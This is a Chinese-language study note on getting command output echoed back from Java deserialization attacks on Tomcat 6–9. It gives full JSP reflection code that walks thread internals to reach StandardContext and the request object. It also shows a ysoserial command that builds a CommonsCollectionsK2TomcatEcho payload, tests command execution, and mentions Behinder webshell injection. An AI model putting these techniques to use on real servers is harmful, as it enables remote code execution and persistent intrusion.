欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

在Java Tomcat中实现中间件的回显功能

最编程 2024-08-07 16:59:48
...

前言:这篇文章作为中间件的回显的开头笔记,最一开始了解的回显就是有听说过中间件的回显,今天大概翻看了些文章,对于回显应该还是有很多方法的,就比如 写文件回显、dnslog、URLClassLoader抛出异常等等很多方式都可以实现回显的操作,这里的话就先了解Tomcat中间件的回显学习。

参考文章:https://xz.aliyun.com/t/9914

Tomcat 6/7/8/9全版本回显

这里在讲一个点(笔记里面想到啥就补上啥了),因为在shiro反序列化内存马的时候有提到如下方法来获取StandardContext的对象,但是只局限于Tomcat 8/9,这里顺便看了为什么局限于8/9的原因

        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

验证Tomcat的相关的操作的时候,就没必要每次都写成类,然后通过web.xml配置相关路由来进行访问了,这里直接通过一个jsp文件来进行解析即可

<%
        WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
%>

首先先来调试下Tomcat8(Tomcat9)

可以看到能够直接从webappClassLoaderBase中来进行获取

接着再来看下Tomcat7,可以发现通过getResources方法返回的对象中并没有存在getContext方法,所以也就拿不到了

Tomcat678回显

自己这里就讲一种Tomcat全版本回显的方法,因为自己挑着看了好几篇,发现大家的方法都有很多,最后的话有一种方法是通过基于全局存储的方法来实现 回显Tomcat全版本的,所以这里就讲这种方法即可

知识点:

1、想要实现回显,那么我们肯定就需要拿到Tomcat中的request对象和response对象,这样才能拿到StandardContext对象对内容进行控制,从而来回显自己想要的内容

2、除了request对象来获取StandardContext,如果拿到了StandardEngine和StandardHost同样也可以拿到StandardContext

获取request对象的过程如下

currentThread -> threadGroup -> for(threads) -> target -> this$0 -> handler -> global -> for(processors) -> request

这边可以先打印下

<%
    java.lang.ThreadGroup threadGroup  = (java.lang.ThreadGroup)Thread.currentThread().getThreadGroup();
    System.out.println(threadGroup);
%>

接着可以打印来看下threadGroup对象中的threads中的对象

<%
    java.lang.ThreadGroup threadGroup  = (java.lang.ThreadGroup)Thread.currentThread().getThreadGroup();
    Field threadField = threadGroup.getClass().getDeclaredField("threads");
    threadField.setAccessible(true);
    Thread[] threads = (Thread[])threadField.get(threadGroup);
    for (Thread thread : threads) {
        System.out.println(thread);
    }
%>

这边继续看,这是一个thread数组,这里面有这么多的线程,那该如何选择,当前的目的就是想拿到request对象,这样才可以拿到StandardContext对象

通过currentThread -> threadGroup -> for(threads) -> target -> this$0 -> handler -> global -> for(processors) -> request,能够找到如下这个request对象

但是你可以看下这个request对象是哪个类中的,在D:\apache-tomcat-8.5.69\lib\tomcat-coyote.jar!\org\apache\coyote\Request.class

你看到这个request中是不存在StandardContext对象的,所以这里获取这个request也拿不到StandardContext对象

但是继续看其他的线程中有没有可以利用的,在Tomcat架构的Container组件中,StandardContext组件是存在于StandardHost对象,而StandardHost对象又存在于StandardEngine对象中,所以如果能获得StandardEngine或者是StandardHost,那么也同样可以获得StandardContext,这个也是一种方法。

其他的线程中存在StandardEngine对象,如下图所示

通过这个对象的target对象中的this$0对象可以拿到StandardEngine这个对象,如下图所示

这里继续去看下StandardEngine中是否存在StandardHost,如下图所示

继续在StandardHost对象中观察,是否存在StandardContext,如下图所示

那么拿到了StandardContext也就可以拿到了request对象,但是你会看到此时上面的Context对象两个,那么我们实际上需要的是Tomcat_Echo_Study_war_exploded,这里就可以通过第一次寻找的名为req的对象中来进行判断了
,它其中也有存储了相关请求的路径,那么如果这两个进行比较,存在包含关系,那么也就是我们要找的request对象了

但是你也会发现,它这里面也同样会存在两个request相关的对象,那么这里要如何判断呢?这里的话先看后面的Tomcat9

Tomcat678的StandardContext的获取过程:

Tomcat678:currentThread -> threadGroup -> for(threads) -> target -> this$0 -> handler -> proto -> adapter -> connector -> service -> container -> children(一个HashMap,get获取standardHost) -> standardHost -> children(一个HashMap,get获取standardContext)

Tomcat9回显

在Tomcat9中,线程数组里面没有StandardEngine这个线程了,如下图所示,环境为Tomcat9

Thread[http-nio-8080-ClientPoller,5,main] 没有变化,其中的req对象还是可以找到,所以这里就Engine不见了,其他的没有变化

这里可以通过Acceptor 线程对象来进行解决

Acceptor的target -> endpoint -> handler -> proto -> adapter -> connector -> service -> engine

Tomcat9的StandardContext的获取过程:

currentThread -> threadGroup -> for(threads) -> target-> *endpoint* -> handler-> proto -> adapter -> connector -> service -> *engine*

所以这里考虑到678和9的不同,最终给出的代码如下,我这里就大概过下,如果以后有兴趣的话自己再来跟下

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext"%>
<%@ page import="org.apache.catalina.core.StandardEngine"%>
<%@ page import="org.apache.catalina.core.StandardHost"%>
<%@ page import="java.lang.reflect.Field"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.util.Iterator"%>

<%
    class Tomcat6789 {
        String uri;
        String serverName;
        StandardContext standardContext;
        public Object getField(Object object, String fieldName) {
            Field declaredField;
            Class clazz = object.getClass();
            while (clazz != Object.class) {
                try {
                    declaredField = clazz.getDeclaredField(fieldName);
                    declaredField.setAccessible(true);
                    return declaredField.get(object);
                } catch (NoSuchFieldException e){}
                catch (IllegalAccessException e){}
                clazz = clazz.getSuperclass();
            }
            return null;
        }

        /*
        * 第一次先通过Thread[http-nio-8081-ClientPoller-1,5,main]中来进行寻找相关请求路径
        * */
        public Tomcat6789() {
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            Object object;
            for (Thread thread : threads) {

                if (thread == null) {
                    continue;
                }
                if (thread.getName().contains("exec")) {
                    continue;
                }

                Object target = this.getField(thread, "target");
                if (!(target instanceof Runnable)) {
                    continue;
                }

                try {
                    object = getField(getField(getField(target, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                if (object == null) {
                    continue;
                }
                java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
                Iterator iterator = processors.iterator();
                while (iterator.hasNext()) {
                    Object next = iterator.next();

                    Object req = getField(next, "req");
                    Object serverPort = getField(req, "serverPort");
                    if (serverPort.equals(-1)){
                        continue;
                    }
                    org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                    this.serverName = (String) getField(serverNameMB, "strValue");
                    if (this.serverName == null){
                        this.serverName = serverNameMB.toString();
                    }
                    if (this.serverName == null){
                        this.serverName = serverNameMB.getString();
                    }

                    org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                    this.uri = (String) getField(uriMB, "strValue");
                    if (this.uri == null){
                        this.uri = uriMB.toString();
                    }
                    if (this.uri == null){
                        this.uri = uriMB.getString();
                    }

                    this.getStandardContext();
                    return;
                }
            }
        }

        /*
        * 第二次通过Thread[ContainerBackgroundProcessor[StandardEngine[Catalina]],5,main]来获取Engine,再接着获取Host,然后Context,最后
        * 通过第一次的请求路径来进行比较
        * */
        public void getStandardContext() {
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            for (Thread thread : threads) {
                if (thread == null) {
                    continue;
                }
                if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                    Object target = this.getField(thread, "target");
                    HashMap children;
                    Object jioEndPoint = null;
                    try {
                        jioEndPoint = getField(target, "this$0");
                    }catch (Exception e){}
                    if (jioEndPoint == null){
                        try{
                            jioEndPoint = getField(target, "endpoint");
                        }catch (Exception e){ return; }
                    }
                    Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                    StandardEngine engine = null;
                    try {
                        engine = (StandardEngine) getField(service, "container");
                    }catch (Exception e){}
                    if (engine == null){
                        engine = (StandardEngine) getField(service, "engine");
                    }

                    children = (HashMap) getField(engine, "children");
                    StandardHost standardHost = (StandardHost) children.get(this.serverName);

                    children = (HashMap) getField(standardHost, "children");
                    Iterator iterator = children.keySet().iterator();
                    while (iterator.hasNext()){
                        String contextKey = (String) iterator.next();
                        if (!(this.uri.startsWith(contextKey))){continue;}
                        StandardContext standardContext = (StandardContext) children.get(contextKey);
                        this.standardContext = standardContext;
                        return;
                    }
                }
            }
        }

        public StandardContext getSTC(){
            return this.standardContext;
        }
    }
%>

<%
    Tomcat6789 a = new Tomcat6789();
    System.out.println(a.getSTC());
%>

YSO命令执行回显

这里YSO参考的是:https://github.com/zema1/ysoserial ,它已经实现了相关的CC链来进行Tomcat回显的代码,获取的思路其实跟上面的代码一样的,只是写法不同

我这里依赖给的是commons-collections4,如下图所示

  <dependencies>
    <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
    </dependency>
  </dependencies>

生成payload:>java -jar ysoserial-0.0.8-SNAPSHOT-all.jar CommonsCollectionsK2TomcatEcho a > tomcatEcho.txt

这边Tomcat模拟一个反序列化的场景,如下代码所示:

Testecho 测试,如下图所示

Testcmd calc 测试,如下图所示

冰蝎马回显注入

实战遇到了,所以还是得弄个冰蝎,这边进行记录,直接给代码了,实战测试没有问题

x

推荐阅读